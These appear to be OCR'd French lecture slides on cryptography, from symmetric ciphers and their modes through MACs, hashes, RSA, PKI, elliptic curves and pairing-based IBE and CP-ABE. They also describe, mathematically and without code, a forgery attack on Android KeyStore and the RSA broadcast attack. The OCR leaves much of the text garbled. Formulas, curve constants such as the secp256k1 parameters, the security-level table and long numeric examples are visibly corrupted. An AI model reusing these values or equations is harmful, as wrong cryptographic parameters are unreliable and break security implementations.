realise un systeme cryptographique parfait (Ci = ki exor Mi, Mi = ki exor Cl},
c’est le code dit de Vernam.

En particulier si tous les messages en clair sont equiprobables la taille de la
cle doit etre au moins aussi grande que la taille des messages en clair.

TELECOM

ParisTech
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+ n= 2P symboles Mi i=0,..,n-1
+ Entropie de M
E H(M) = - Z p(Mi) log, p(Mi) = p
+ Chiffrement de Vernam
B Generateur aléatoire Ri, p(Ri)= 1/n
E Ci=Mi+Ri(exor)
E H(C)=p
p(X=Mi,Y=Cj) = p(X=Mi) x 1/n = 1/n2
H(M,C) =-X X 1/n? log, (1/n?) = 2p
H(M,C) = H(M) + p = HM) + H(C)
+ HM | C) = HM,C) - H(C) = H(M) TELECOM

= & &

ParisTech
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Les chiffrements symetrigues usuels

+ RC4, clés d’au plus 2048 bits
B Chiffrement par flux (octets)
_ ! Polarisé (biais) pour les 256 premiers octets
+ 3xDES, avec 2 clés (112 bits)
B Chiffrement de blocs de 64 bits
B 2 clés K1, K2
_ y= E(K1,D(K2,E(K1,x))), soit chiffrement avec K1, déchiffrement avec K2, et chiffrement avec k1
+ AES avec une clé 128 bits ou 256 bits
B Chiffrement de blocs de 128 bits
+ Le mode Cipher Block Chaining, CBC

B IV,=null
E vy =E(Key, IV, exor x,)
B WVui =W

+ CBC-MAC

B Chiffrement en mode CBC
B On ajoute au message un ensemble d’octets {padding) de telle sorte que la longueur obtenue soit un
multiple de la taille du bloc. Le CBC-MAC est le dernier bloc calcule
[ ISO/IEC 9797
@® Method 1, padding avec une suite d’octets nuls
@ Method 2, padding avec un premier octet 0x80, complété par une suite d’octets nuls
@ Method 3, ajout d’un entéte comportant la longueur, une attaque existe TELECOM

ParisTech
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Autres Modes de Chiffrement
4+ CTR (Counter Mode)

B S, = E(Key, CT) - ! B EF
E E

E C, =M, exorS$,

4+ CCM Counter with . _ T
CBC-MAC, i $ MLl $ M[I]—i M[m]

B AES-CCM RFC 3610 c11]] [cim)
M[1] M[i-1] M[i] M[m]
Y —: $
| | | -
TELECOM

ParisTech
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[ Plaintext 1

.

I Ciphertext 1 I

| Auth Data 1 ]

GCM Galois/Counter Mode

lemAd 11 lendC) »__%

[

:lIlull:H J

]
s

Auth Tag I

The Galois/Counter
Mode of Operation
(GCM) David A.
McGrew John Viega

http://csrc.nist.gov/gr
oups/ST/toolkit/BCM
/documents/proposed
modes/gcm/gcm-
spec.pdf

TELECOM

ParisTech
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*

Un schéma assurant a la fois intégrité et confidentialité garantit la sécurité
contre les attaques a chiffrés choisis :

B IND-CPA + INT-CTXT = IND-CCA
& IND-CPA= Chosen Plaintext Attack
& INT-CTXT= Integrity of CipherTeXT
& IND-CCA= Chosen-Ciphertext Attack

MAC-And-Encrypt, non sar
E MAC(M) || E(M)

MAC-Then-Encrypt, mode non génériquement sir, mais en pratique, on peut
construire des schémas slrs avec ce principe

E E(M]|| MACM))
B Exemple AES-CCM

Encrypt-Then-MAC, si le mode de chiffrement est « sur » et si le MAC assure
I’intégrité alors cette composition est « stre »

B E(M) || MAC(E(M))

http://www.di.ens.fr/~fouque/mpri/MAC.pdf TELECOM

ParisTech
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Encrypt then MAG

M[1] M[i-1] M[i] M[m]
] . ~p e S —:

Ex | Ex Ex | Ex

E,. Ew | E,. Eo |
| | 1

http://www.di.ens.fr/~fouque/mpri/MAC.pdf ﬂ
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+ Hash then Crytp (HtC)
B Header: Soft_Key_Magic | | Key_Type || KeyLength
& 3x4 octets
B AES-CBC(MD5(Header || key) || (Header || key) )
+ Attaque
B m’= Header(m) || m (16 octets)
E m’ =padding || MD5(m’) || m’
& Header(m” ) || padding = 16 octets
I HtC( ’’) = c0,c1,c2,c3
c0=1V
& c1= E(cO+ MD5(Header(m”) [l m’))
& c2= E(c1 + Header(m’’) || padding) )
& c3=E(c2+ MD5(Header(m) || m))
&
C(m

G

c4= E(c2 + (Header(m) || m))
B HtC(m’) = c2(=IV), c3, c4
Breaking Into the KeyStore: Mohamed Sabt , Jacques Traoré, “A Practical Forgery Attack
Against Android KeyStore”, ESORICS 2016 . TELECOM

ParisTech
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+ Une fonction d’empreinte (H) produit, a partir d’un
message M une valeur pseudo aléatoire de p bits (soit 2P
empreintes). Les attaques sont classés en trois catégories

E Collision: trouver un couple (M,M’) tel que H(M) = H(M’)

@ En raison du paradoxe des deux anniversaires, la probabilité
d’une collision est de 1/2p/2

B 15t pre-image, étant donné X, trouver M tel que H(M) =
X

[ ZH;FI\/rS-image, étant donné M, trouver M’ tel que H(M’)

E Dans le cas d’un algorithme parfait, la probabilité d’une
collision est de 1/2"/2 essais et pour les pre-image 1/2°

+ Les fonctions de hash sont surjectives ! TELECOM
124/198 Pr Pascal URIEN, Telecom ParisTech ﬁﬁml
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Merkle-Damgard
+ Les fonctions MD5 et SHA1 sont construites selon le
procédé dit Merkle-Damgard
B Hi+1 = f(Mi, IVi)
B |Vi+1 = Hi+1
+ SHA1 et MD5 utilisent des messages (blocs) de 512 bits

+ La sortie des fonctions f est de 160 bits pour SHA1 et
128 bits pour MD5

Message | Message N Message | Length
block O block 1 block n-1| padding

TELECOM

S—— f . f rrE - 'F — f — ParisTech
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+ Hash-based message authentication code
B HMAC-MD5, HMAC-SHA1

+ HMAC (K,m) =H (K ® o

126/198 Pr Pascal URIE

(K @ ipad) || m))

pad) || H (

Rey

..................................

|XOR
ol !

SHA1 - 1st pass

SHA1 -2nd pass

TELECOM

ParisTech
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+ Cipher Message Authentication Code
E Hi+1 = EK(Mi, Vi)
E IVi+1 = Hi+1

Y
Ug—i T"’EB‘

Y
e
1 t—1
Y
.1.:4—% ke E . k E
H,
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Chiffrement Asymetrique

BT S
| Ill:l'l'.l' |:;'
ST O ET

L F

LETCRE T

Algorithme de rReair

A lrorpthame de

cheffrement Ermasseon oo texte e ey

barrraalle

Autorité

de certification

TELECOM
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+ Un groupe Abelien (G,*) est un ensemble d’éléments tel que la loi *
pour cet ensemble soit:

B définie pour tout couple (a,b), a*b € G
commutative, a*b = b*a

associative, (a*b)*c = a *(b*c)

possede un élément neutre a*e = e*a = a

et que chaque élément posséde un élément inverse unique, a*a’' = a°
a =e

+ Un groupe fini possede un nombre d’éléments fini.

+ A l’aide du théoréeme de Bezout on démontre facilement que Z/pZ avec
p premier est un groupe pour la loi x

B Z/pZrepresente l’ensemble des restes de la division d’un nombre z
par ’entier p.

B z=r(modp)®z=qp+r

TELECOM

ParisTech
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Le nombre d'Euler

+ Le nombre d’Euler ¢ (n) est le nombre d’entiers
premiers avec n

E o (1)=1
B Pour p premier, ¢ (p) = p-1
E Pour p et q premiers, ¢ (p.q) = ¢ (p). ¢ (q)
+ Le nombre des entiers x tels que pgcd(a,x)=1 est égal a
¢ (a)

B (Z/nZ*x) est le groupe des entiers inversible pour la
loi x en modulo n

B Le cardinal de ce groupe est egal a ¢ (n) TELECOM

ParisTech
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RSA1/3

o

Soit n un produit de deux nombres premiers n = pq
Soit e un entier inversible modulo @(n), soit e premier avec ¢(n) =(q-1)(p-1)
B 3Jdtel que e.d=1 (mod ¢(n)).
E (e,n) clé publique, chiffrement C = M® modulo n
E (d,n) clé privée, déchiffrement M = Cd modulo n
E  Med =M modulo n

+ La sécurité des RSA repose sur la difficulté de factorisation d’un produit de nombre
premiers.

+ I,zt:\ socllution de a.x =1 mod n peut étre trouvée a ’aide d’un algorithme d’Euclide
étendu.

B Si, aet bontun diviseur commun d (a >b) alors a-kb est divisible par d.
On choisit le plus grand k tel que a-kb = r (r>=0), soit a= kb + r

Si r=0 alors a est divisible par b

Sinon on recommence ’algorithme avec b et r

Le PGCD est le dernier reste non nul.

o

TELECOM

ParisTech
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+ Théoreme du résidu Chinois (CRT)

E Xp =X modulop

E Xqg = Xs modulo g

E X=X mod(pq) = A Xp + B Xq modulo (pq)
$ Xed = XT+k(p-1)(a-1) modulo p = X modulo p
& Xed = X1 +k(p-1)(a-1) modulo g = X modulo g

TELECOM

ParisTech
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L'algorithme d’Euclide RSA 2/3

+ Soit deux nombres a et b avec a>b
B a=bq+r, pged(a,b) = pged(a,r)
+ L’algorithme d’Euclide réalise le calcul de pgcd(a,b) en
temps polynomial
+ Deux nombres sont premiers entre entre eux si et
seulement si pgcd(a,b)=1.

+ Le théoreme de Bezout se démontre grace a I’algorithme
d’Euclide

E Siaetbsont premiers entre eux il existe un couple
unique d’entiers (u,v) tel que
& au +bv =1

TELECOM

ParisTech
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RSA3/3

+ Exemple a=522, b=453
522=a, 453=b
522-453 = 69
453-6.69 = 39
69-39=30
39-30=9
30-3.9=3
3-3=0, 3 est le PGCD(522,453)
+ Exemple de calcul de clés RSA
p=47, q=59, n=pq = 2773, (p-1)(q-1)=2668
17 est premier avec (p-1)(q-1)
on cherche d 17 =1 mod 2668
PGCD(17,2668)=1,1 =au+ b v, v est la solution

2668=a
17=b

2668-156.17 = 2668 - 2652 = 16 = a -156 b

17-16 =1, b - (a- 156 b) =1, 157 b -a =1, d’ou d = 157 TELECOM

ParisTech
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Le padding RSA PKCS#1-v1_9 (RFG 3341

+ Le padding est nécessaire pour la sécurité de RSA
B Par exemple le chiffrement d’une méme valeur x par trois clés
RSA publiques (3, n) permet de retrouver la valeur x
& y1=x3 mod n1, y2= x3 mod n2, y3= x3 mod n3

& Sin1, n2, n3 sont premiers_entre eux, le theoreme du résidu chinois
permet de construire y = x3 mod(n1.n2.n3), puis de calculer la racine
cubique de y egale a X (puisque x<n1, x<nZ,x<n3

& n=n1.n2.n3, qi = (n/ni)"" modulo ni, y = X qiyin/ni modulo n
+ Pour un chiffrement, EM® mod n, N octets
E EM=0x00|] O0x02 || PS|]0x00 || M
E PS est un nombre aléatoire de taille N - longueur(M)-3 octets
+ Pour une signature, EMY mod n, N octets
E EM=0x00|] Ox01 || PS|]]0x00 || M

B PS est une série d’octets de taille N - longueur(M)-3 octets d
la valeur est OxFF
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smpreints H ( M )
e
H’ (M)
Nigrrature veliole

ot e verlidle

CLEF PUBLIGUE
EMETTEUR

Signatu € = {H(M)}clé-privé

TELECOM
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+ C’est ’ensemble constitué par une suite de symbole
(document M) et une signature.

+ Le format de certificat le plus courant est X509 v2 ou v3.
I(_)a syntaxe utilisée est I’ASN.1 (Abstract Syntax Notation
ne).

AE : Awtorite d enregistrement O ; Opératenr de

{vinfication et enregistrement des certification (création, gestion des
ke fes. ..} cemiflicats e des clefs assocides. . .)

L .
RS P
x\ N e r\_/ ,.'J'Ir
N TN =) L /
\ - \ w /
[} Certificar, B
N, PrOur une ! /
s applcation v, 'i
ht 1‘“-“-.|'h=':c Ficuee __/"'FI; ., Fi
. T £ .-"'fl’
'\ ST
/
, Ny
L T I
\1\ - ;I_I."
™, AC : Awrorité de cervification ,.-"f.
1‘1 {responsabiling, reconmaissamnce Fi
globale. ..} TELECOM
- . ParisTech
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Certificate ::= SEQUENCE ({
tbsCertificate TBSCertificate,
signatureAlgorithm AlgorithmIdentifier,
signature BIT STRING }
TBSCertificate ::= SEQUENCE ({
version [0] EXPLICIT Version DEFAULT vl,
serialNumber CertificateSerialNumber,
signature AlgorithmIdentifier,
issuer Name,
validity Validity,
subject Name,

subjectPublicKeyInfo SubjectPublicKeyInfo,
issuerUniqueID [1] IMPLICIT Uniqueldentifier OPTIONAL,

-- If present, version shall be v2 or v3
subjectUniqueID [2] IMPLICIT Uniqueldentifier OPTIONAL,

-- If present, version shall be v2 or v3
extensions [3] EXPLICIT Extensions OPTIONAL

-- If present, version shall be v3
} ParisTech
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+ Les principales fonctions réalisées par une architecture PKI pour la gestion des certificats
se resument ainsi :

B Enregistrement de demande et vérification des critéres pour attribution d’un certificat.

& L’identité du demandeur est vérifiée ainsi que le fait qu’il soit bien en possession de la clef
privée associée

Création des certificats

Diffusion des certificats entrainant la publication des clefs publiques
Archivage des certificats pour assurer la sécurité et la pérennité
Renouvellement des certificats en fin de période de validité

Suspension de certificats.

& Elle peut étre utile si le propriétaire estime ne pas avoir besoin temporairement de son
certificat ; cependant cette fonction n’est pas aisee a mettre en ceuvre ; elle est
essentiellement administrative et il n’existe pas de standard d’impléementation

B Révocation de certificats.
& Sur date de péremption, perte, vol ou compromission de clefs
B Création et publication (au sens gestion) des listes de révocation des certificats

& Il yaura révocation du certificat dans les cas suivants : date de fin de validité atteinte, clef
privée divulguée, perdue (donc impossibilité de lire les objets rendus confidentiels) ou
compromise.

B Délégation de pouvoir a d’autres entités reconnues de confiance.

& Toute communauté peut créer sa propre infrastructure PKI, dans ce cas une étude de [EEEEEC

faisabiliteé est nécessaire en s’appuyant sur de nombreux criteres.
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* PGl BBl Koy Cryptogtapty Standardey S o0 SreeB IR REDE P

ormats

B PKCS#1
PKCS#2 .
PKCS#3
PKCS#4 :
PKCS#5
PKCS#6 :
PKCS#7
PKCS#8 :
PKCS#9 :

equest (

e cryptographie :

: RSA Cryptography Specifications Version 2 (RFC 2437)

inclus dans PKCS#1

: Diffie-Hellman Key Agreement Standard Version 1.4

inclus dans PKCS#1

: Password-Based Cryptography Standard Version 2

Extended-Certificate Syntax Standard Version 1.5

: Cryptographic Message Syntax Standard Version 1.5 (RFC2315)

Private-Key Information Syntax Standard Version 1.2
Selected Attribute Types Version 2.0

KCS#10 : gsgt}gﬁgt} r%4R)equest Syntax Version 1.7 or Certificate Signing

C

PKCS#11 : Cryptographic Token Interface Standard Version 2.10
PKCS#12 : Personnal Information Exchange Syntax Standard Version 1.0
PKCS#13 : Elliptic Curve Cryptography Standard Version 1.0

PKCS#14 : Pseudorandom Number Generation Standard Version 1.0
PKCS#15 : Cryptographic Token Information Format Standard Version 1. =mae i

ParisTech
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+ Un générateur g de (Z*/pZ, x), avec p premier
B VxE[1, p-1] i € [1, p-1] g' = x (mod p),
B en particulier gr-1=1

+ Il existe ¢(p-1) générateurs.

+ Exemple p=5, g=3

B g'=13=3
B g2=33=4
B gi=43=2
B gi=2.3=1

TELECOM

ParisTech
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+ Dans (Z*/pZ,x) avec p premier, g un géneérateur
B Connaissant y= g¥, il est difficile de trouver x

B C’est I’hypothese de complexité du logarithme
discret

+ gXx est une clé publique

+ X est une clé privée

+ Exchange de Diffie Hellman
B g®=(g%)° = (g")°
B Hypothese de securite

& Connaissant g2 et g il est difficile de trouver gab Paristech
144/198 Pr Pascal URIEN, Telecom ParisTech ﬁﬁml
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Plus loin avec les Groupes finis
(G,x) un groupe fini, cardinal G = |G|

L’ordre d’un élément g (g € G) est le plus petit entier e tel que ge=1
H est un sous groupe de G si
B H est inclus dans G
B (H,x) est un groupe
Soit g un élément de G, I’ensemble <g>= { gk: k € Z} est un sous groupe de G
B C’est le groupe engendré par g
B Son cardinal est égal a 'ordre g
G =<g> pour un certain g on dit que G est un groupe cyclique
Si G est fini et cyclique il existe exactement , ¢ (|G|) générateurs de G.
Théoréme de Lagrange
B Si G est un groupe fini le cardinal (ou ’ordre) de chaque sous groupe divise le cardinal de G
B L’entier |G|/ |H| s’appelle l’indice de H dans G (cofactor)
Théoréme de Sylow

B G un groupe fini. Pour tout nombre premier p et tout nombre entier r tel que p" divise 'ordre de G, il
existe un sous groupe de G d’ordre p'.

Si G est un groupe, et g € G, glGl=1

On en déduit le petit théoréme de Fermat,
B sipgcd(a,m)=1, alors a®™ =1 mod m
B En particulier a®™ - a =1 mod m, ce qui donne l’inverse de en modulo m
B a'=a*®Tmodm TELECOM
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Comprendre le théoreme de Sylow dans (2/pl+)

+ Dans (Z/pZ, +) la solution (x) de ax=b (a, b étant connu)
n’est pas une procédure complexe

B une solution existe si pgcd(a,p) divise b

+ L’ordre r d’un élément a (tel que ar=0) s’obtient par la
relation

E ordre(a) = ppcm(a,p) / p =ax / pgcd(a,p)

B En particulier lorsque a est premier avec p, ordre(a)=p
+ Exemple dans (Z/36Z, +), 36 = 22 x 32

B Les ordres possibles sont 2,4,3,9,6,12,18,36

TELECOM
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Les corps finis

+ Un corps K est un ensemble d’élements muni de deux lois
notées + et x, tel que

E (K,+) est un groupe abélien, élément neutre e

B (K* x) est un groupe abélien, K* represente | ’ensemble K
sans le neutre e, element neutre i

B Distributivité de la deuxieme loi (x) sur la premiere (+)
& a*(b+c) =ab + cd

+ L’intérét des corps est d’obtenir des propriétés algébriques
permettant :

B La solution de systemes d’équations lin€aires
E La définition de polynomes
+ (Z/pZ, +, x) avec p premier est un corps fini.

TELECOM
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Les polynomes

+ Dans un corps K on peut définir des polyndémes P, de degré p
B P(X)=ap+a;X+a;Xx?+..a,xP
B (P,+,x) est un anneau

+ Soit P un polyndme de degré p et Q un polynéme de degré q, p 2 q, on
définit la division de P par Q

E P=QA+R, lecouple (A,R) de polynomes est unique, et degré(R) < p.

P est divisible par Q si et seulement (deg P > deg B) et si le reste de la
division de P par Q est nul.

L’algorithme d’Euclide s’applique aux polynémes, et permet de calculer
le pgcd de deux polynémes.

Deux Folync‘)mes P et Q sont étrangers si et seulement si pgcd(P,Q) est
un polynome de degré 0.

Le théoreme de Bezout s’applique aux polyndmes étrangers

B SiP et Qsont étrangers, il existe un couple unique (U,V) de polynomes
etrangers, tels que, PU+QV=1

= + & #

TELECOM
ParisTech
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Les corps de Galois

+ Théoreme: Soit p un nombre premier et /(X) un
gcl)lyzn[g(nfe irréductible de degré n>1 dans
p .

B Alors (Z/ pZ[X])/ | (’ensemble des restes des
divisions par 1(X)) est un corps.

E |l possede F” élements et il ne dépend pas de |
(seulement du degre de /).

B Ce corps est appelée corps de Galoisa p”
elements, note CG(p") (ou GF(p") en anglais).

+ Théoreme:; Les seuls corps finis qui existent sont
les corps de Galois.

TELECOM
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Gourbes Ellintiques

+ Dans un corps K (fini) Fq,

E g=p™ou qt P, avec p premier, p étant different de 2 ou 3 (la
caracteristique du corps est différente de 2 ou 3)

B x,y,a,b€EK,y2=x3+ax+b

B A=4a3+27b%2#0
+ ECC(Fq,a,b) = {P(x,y): y?2=x3+ax +b} U {0}

B O = Point a Uinfini

B Pour tout P on impose , P+O=0+P =0

B Pour P(x,y)#0, on définit -P=(x,-y), et on pose P + -P =0
+ Pour p=2

B ECC(F2m,a,b) = { P(x,y): y?+ xy =x3+ax? + b} U {0}

TELECOM
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Lol additive

+ Soit deux points P1 et P2 de la courbe
B Si P1=0 ou P2=0, P1+P2=0
E Sinon si P1=-P2 ou P2=-P1, P1+P2 =0
B Sinon, P3(x3,y3)=P1(x1,y1)+P2(x2,y2)

- - . =2
(?_jz Y1 ) — A — o Si PL # PQ
dio — I
s = 3
32 :
( 1+ (1) — 20 st 4 = s
211
~ -
Y2 YL () — wn) —y1 Si Py £ P
o — 'y
3 — %
3;.{'% —+ ]
. (;I_']_ — ;J[‘;gj] — 1 Sl P]_ = P2 TELECDM
21 ParisTech
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+ L’ensemble des points (x,y) de Fq, de la courbe
elliptique forme un groupe E(Fq) dont le cardinal est

note #E(Fq)
+ Théoreme de Hasse
q+ 1 —2qg < #H#E(F,) <qg+1+2/q

+ Un point de E(Fq) est représenté par log,q + 1 bits
E Log,q bits pour x

E 1 bit pour le choix dey ﬂ
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+ Dans un corps fini Fq (q=p") de caractéristique p, la
fonction
B F(X)=XpP
B Est:
& linéaire (X+Y)P=XP + YP,
& Dbijective
+ Autrement dit on peut toujours établir un isomorphisme

entre des polynémes de degré k (défini dans Fq) et un
sous ensemble de polynémes de degré kn

TELECOM
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security (bits) block cipher  E/F, E/F;m  RSA

112 3-DES 224 233 2048

128 AES small 206 283 3072

192 AESmedium 384 409 8192

296 AES large 212 371 14720
i

155/198 Pr Pascal URIEN, Telecom ParisTech ﬁﬁml



http://www.telecom-paristech.fr/

+ G un sous groupe de ECC(Fq,a,b)

+ G est cyclique d’ordre n, G=<P>, le point P est un
générateur de G

+ En notation additive
E aP=P+P+..+P
E bP=P+P+...+P

B Secret partage Diffie Hellman
& DH=a (bP) = b(aP) = abP

TELECOM
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+ G un sous groupe de ECC(Fp)
+ #ECC=n =index . q = cofactor . order
E G est cyclique d’ordre premier q, G=<P>, le point P est un générateur de G
+ Laclé privé est a € [0, g-1], on calcule aP (clé publique)
+ Laclé éphémere est k € [0, g-1], on calcule kP
+ On note kP=(u,v), x =u mod q
+ La signature d’un message m, est le couple (x,y)

B x=umod g (ou entierr)
B y=k'(H(m)+ax) mod q (la signature s)
& La fonction H est généralement shat
+ L’opération de vérification s’écrit
E i=(Hm)y'P+xy'(@P))modq
B x=imodq?
Clé prive (P,q,a,k), Clé publique(P,q,aP)
RFC 3278
B "Use of Elliptic Curve Cryptography (ECC) Algorithms in Cryptographic Message Syntax (CMS)
B ECDSA-Sig-Value ::= SEQUENCE { r INTEGER, s INTEGER }

- *

TELECOM
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Quelques normes utiles
Norme ANSI X9.62

E  Représentation d’un point au format compressé ou non compressé

B Exemple, N=log,s, q (pour un corps FQq)
& Type, 1 octet (04=uncompressed, 03=compressed)
& Valeur de x (N octets), Valeur de y (N octets)

IEEE Std 1363
B " |EEE Standard Specifications for Public-Key Cryptography”
B Terminologie pour les courbes elliptiques
B Key Agreement (DH), DL/ECKAS-DH1
@ Sha1(x|y), x N octets, y N octets, N= log,s, g (pour un corps Fq)
SEC 2
B "Recommended Elliptic Curve Domain Parameters, Certicom Research”
B Recommandation de courbes elliptiques particuliéres
FIPS PUB 186-2
E DIGITAL SIGNATURE STANDARD (DSS)
B "Recommandation de courbes elliptiques particulieres”
RFC 3278
I '('léil\esg)"f Elliptic Curve Cryptography (ECC) Algorithms in Cryptographic Message Sy

TELECOM
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+

Exemple Gourbe Gerticom sect113r1

Dans F2™, avec m=113, représentation des coordonnées (x,y) 15 octets
Courbe: y2 + xy=x3+ax?2+b
B a= 003088250CA6E7C7FE649CE85820F7
B b= O0ES8BEE4D3E2260744188BEOE9C723
Polyndme générateur: x'3+x% + 1
B 020000000000000000000000000201
Générateur (forme non compressée)
B 04 009D73616F35F4AB1407D73562C10F 00A52830277958EE84D1315ED31886
Ordre
B 0100000000000000D9CCEC8A39E56F
Cofacteur
E 2
Exemple de clé
B Privé a= 000D2634C36BDE27916D7C590136CD

B Publique aP= 04 01A352487A98884A2A35EEDBB4A93B
0052525EFAC8DA9B62A56D40BBCBEE

Exemple de signature ECCDSA
B 3022
B 02 OF 0020634AAF9F9B385A6CD10086377E (r)
B 02 OF OOE6855729E55AAB86D69CE2646415 (s)
Exemple de calcul ECCDH ( Sha1(x]|y)) TELECOM
B 20 octets: 82461C62A3BC762DF2F3270BDD6DCICC58FD9E17 ParisTech
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*

*

*

*

secn296ki

L/pZ

B p = FFFFFFFF FFFFFFFF FFFFFFFF FFEFFFFFE FFFFFEFFFE
FFFFFFFEF FFFFFFFE FFFEFEFC2F

B p=2256.232.29.28.27.26.24_1
ECC:yZ=x3+ax+b

E a=0, b=7
G

E 04 79BE667E FO9DCBBAC 55A06295 CE870BO0O7
029BFCDB 2DCE28D9 59F2815B 16F81798 483ADA7’
206A3C465 S5DA4FBFC OE1108A8 FD17B448 A6855419
9C47D08F FB10D4RBRS

Order

B FFFFFFFF FFFFFFFF FEFFFFFEFF FFFFFFFE BAAEDCEG®G
AF48A03B BFD25E8C D0364141

CoFactor
) 1 ParisTech
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+ Soit G1, G2, et Gr des groupes finis d’ordre r, avecr
premier

+ Un pairage bilinéaire e (bilinear pairing, bilinear map)
est une fonction telle que

B e: GI1xG2 -> Gr
B e est non dégenerée, e(P,Q) # 1
B e est bilineaire e(aP, bQ) = e(P,Q)?°

TELECOM
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+ E(K) une courbe elliptique définie sur un corps K (Fp), de
caractéristique q (p=q™)

B Les points de E peuvent étre définis (il existe un
isomorphisme) sur des corps plus grands Fg¥ , ou encore la
cloture algebrique de K .

+ Pour r entier, le sous groupe de points de r-torsion, défini
pour une courbe elliptique E sur un corps K, est noté
E E(K|[r]={PE€E | rP=0}
E Pour r premier avec q (soit pgcd(r,q)=1)
E(K)[r] est isomorphe a Z/rZ x Z/rZ
& E(K)[r] contient r? points
+ Sir divise p-1 (q™-1), le corps K (Fp) contient les racin

rieme de ['unité Parisiech
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+ Soit E(K) une courbe elliptique définie sur un corps K
(Fp), avecp =q"

+ Soit G un sous groupe cyclique de E(K)

E |l existe k tel que G soit isomorphe a un sous groupe
de Fpk

E La plus petite valeur de k est appelé le embedding
degree.

& Soit n le cardinal de G (#G)
@ ndivise pk-1,n | pk-1

+ De maniere équivalente k est le plus petit entier, tel
que FpX contienne le groupe p, des racines n'me de
[’unite dans Fp TELECOM
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+ Couplage de Weil

B Corps K =Fq

B e: E(K) [r] x E(K) [r] -> Um
& e(aP,bQ)= e(P,Q)?

E Um est le groupe des racines ri€me de ’unité dans FgX
& Un={xEFgk| x =1}
& r divise le cardinal de E(K) (# E(K))
& r divise gk - 1

B Le premier algorithme de couplage de Weil a ete

propose en 1986 par V. Miller, “Short Programs fo

. b 3 ParisTech
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ECC(Fq): y2 = x3 + x, corps Fq, q premier avec q = 3 modulo 4
G1 est un sous groupe de ECC(Fq), G2 est un sous groupe de Fq?
Ily a q+1 points sur la courbe #ECC(Fq) = q+1
r = ordre de G1 = facteur premier de q+1
h = cofactor = #ECC(Fq) / r
B rdivise q+1
B rdivise g?2- 1 puisque q?-

+* =87807107996633125224377
022295707862517942266222

88

5

“FEEEE

g-1)(q+1)
?7540498158068831994142082110286533992664756308

8 9
1423155858769582317459277713367317481
324925129998224791.

+ h=12016012264891146079388821366740534204802954401251311822919615131047207289
359704531102844802183906537786776

r=730750818665451621361119245571504901405976559617

Generator P=
764213932795790385166146156484628185710738246136731223594607
0733 0752866953232919510098156 8772511132258440513

3
Y 523 557991388 9
8410531261668030641453491637062375131679516717637447959909430
(9)%95 101995804868584972949481861296415156306343396912667744802

= (
198
423
213
778

+

9041
1068

=N
N7

058631971
693907815
272303540
346340490
TELECOM

ParisTech

165/198 Pr Pascal URIEN, Telecom ParisTech ﬁﬁml



http://www.telecom-paristech.fr/

+ a=2321231739573260508064943282038854866624801566274

+ aP =301901600464207748384853072909292823401500311348346356764859754747703
gggg?gggg%gggg§§45749044213480292759568257999990157011471277891932048
622130912004388536645426112375868421081814378272661695953772580311048
821974186212677634483766383564352093956376894422864585155448402243584
2060112859040085

+ b=591069617759232948334516538341133684003963967541

+ bP=489872625336582550697622917901310968712983470168986006826993590244144
?;gggggggg%gggggso497397931419729729097601618783404569928023315742260
715768020641988338757762409522925702707172363082968385844449919698450
610626853008028585471746136204506517503675925750751323255279155813951
061482849469617

+ C=332790059747456431829511198714114673843901104395

+ cP=361673235446634950587227148388584900737947568189969047494313829915613
;8;%%g3§32833%8815513580932571550613336307696480151992816947356553291
591927063716469042674124332635453987072498361375371305395310139261168
079986151403557597760872949800149313292665777504365718007945299529892
7247712148590792

+ S= fgaP bP)"c = fébP cP)*a= f(cP,aP)"b
411874021818983935 9451 78468671897765968395058497750231537284872046
gggggzg1;gggggggs2050427874577949368791925702115715036551400857093954
792272713616191570585463230096947246676587164343554480144379956667402 TELECOM
825333387256294430771484207666103108581680992251414596583914923441539 Parisiech
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Goupiage de Tate

+ E une courbe elliptique sur un corps K (Fp), de
caractéristique q (p=qM)

+ E(K)[r] un groupe de r-torsion avec r premier avec q
+ Soit k le plus petit entier tel que r divise pk-1

B k est le « embedding degree » de la courbe elliptique
E relativement ar

+ e: E(Fp) [r] x E(Fp¥) [r] -> Um
E Um est le groupe des racines r¢me de [’unité dans Fpk
& Un={xEFpK| x" =1}
+ e(aP,bQ)= e(P,Q)ab TELECOM

ParisTech
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+ DH Tripartie

B Trois clés publiques aP, bP, cP
B Trois clés privées a,b,c
B e(aP,bP)c = e(bP,cP)2 = e(aP,cP)b = e(P,P)abc
+ IBE (Identity Based Encryption) version de base
P un point d’ordre r
Clé maitre (privée) s € [0, r-1]
h: {identités} -> Z/rZ, € [0, r-1]
h’: Fqk -> Z/nZ
Clé publique IBE sP
Clé privée IBE s
Clé publique de ID= h(ID).P
Clé privée de ID= s.h(ID).P
r un nombre aléatoire dans [0, r-1]
Chiffrement a ’aide de la clé publique sP, ID, et d’un nombre aléatoire r
@ K=e(h(ID)P, sP),= e(P,P)s rh(D)
& Secret = h’(K)
@& C =M exor Secret
Transmission (rP, C)
Déchiffrement a l’aide de al clé privée s h(ID) P
& K=e(s h(ID) P,rP) = e(P,P)s "h(D)
& Secret = h’(K)
& M=CexorS

TELECOM

ParisTech
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e(Qgop: SP)" = e(sQgog; IP) = €(Qgog, P)"®
Qavice = h(alice)P— =g Qgog = h(bob)P

Master Master
Private Key Public Key

1. Obtain Master \
Public Kay

| Q
| 3. Obtain Master . S B O B
| | Public Ka'_-,r
]
S | | 2. Authenticate and AL I ‘ E
| Alice's Pn'u':rte Koy

4 -ﬂ-uthentlr_aie and receive
S ', Bob's Private Key
. —

- Prafiminary, off-ling activiles — ~

QBO

I & Use “bob@example. com” to |

Protectod c. Lise “alice@example. com” |
I_ _ q_ane_miao_bs._puE -_:.Ea_;.-_ % Message #{ | togenerate Alice’s public key ;
b Sign_encryptand M. Decrypt and verily
sand message

________

d. Decrypt and werify 1
I received message |

P, e(Qror, SP)" exor M
e: GXG -> Gr °o8

ParisTech
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-F¥+E &

+

+

« Ciphertext-Policy Attribute-Based Encryption » , John

Giphertext-Policy Attribute-Based Encryption
(CP-ABE)

Une arbre d’acces (Access Tree, T) est un arbre constitué de nosuds
réalisant les opérations booléennes ET ou OU. Les feuilles sont des
attributs Si

On utilise_ un couplage bilinéaire (e) symétrique de GyxG, -> G,,
d’ordre (G,) premier p et de générateur g

La clé publique PK est G,,g,h=gB, f=g'/8  e(g,g)°
La clé maitre MK est (B,g%)

Le chiffrement d’un message M selon PK et T, est réalisé a |’aide
d’une nombre aléatoire s choisit dans Zp et produit le chiffré CT
(qui contient la valeur M.e(g,g) % et un ensemble de parameétres)

I(\ZAIkaque attribut Si possede une clé privée SKj générée a partir de

Le déchiffrement selon (CT, SKj) permet d’obtenir le message M.

TELECOM

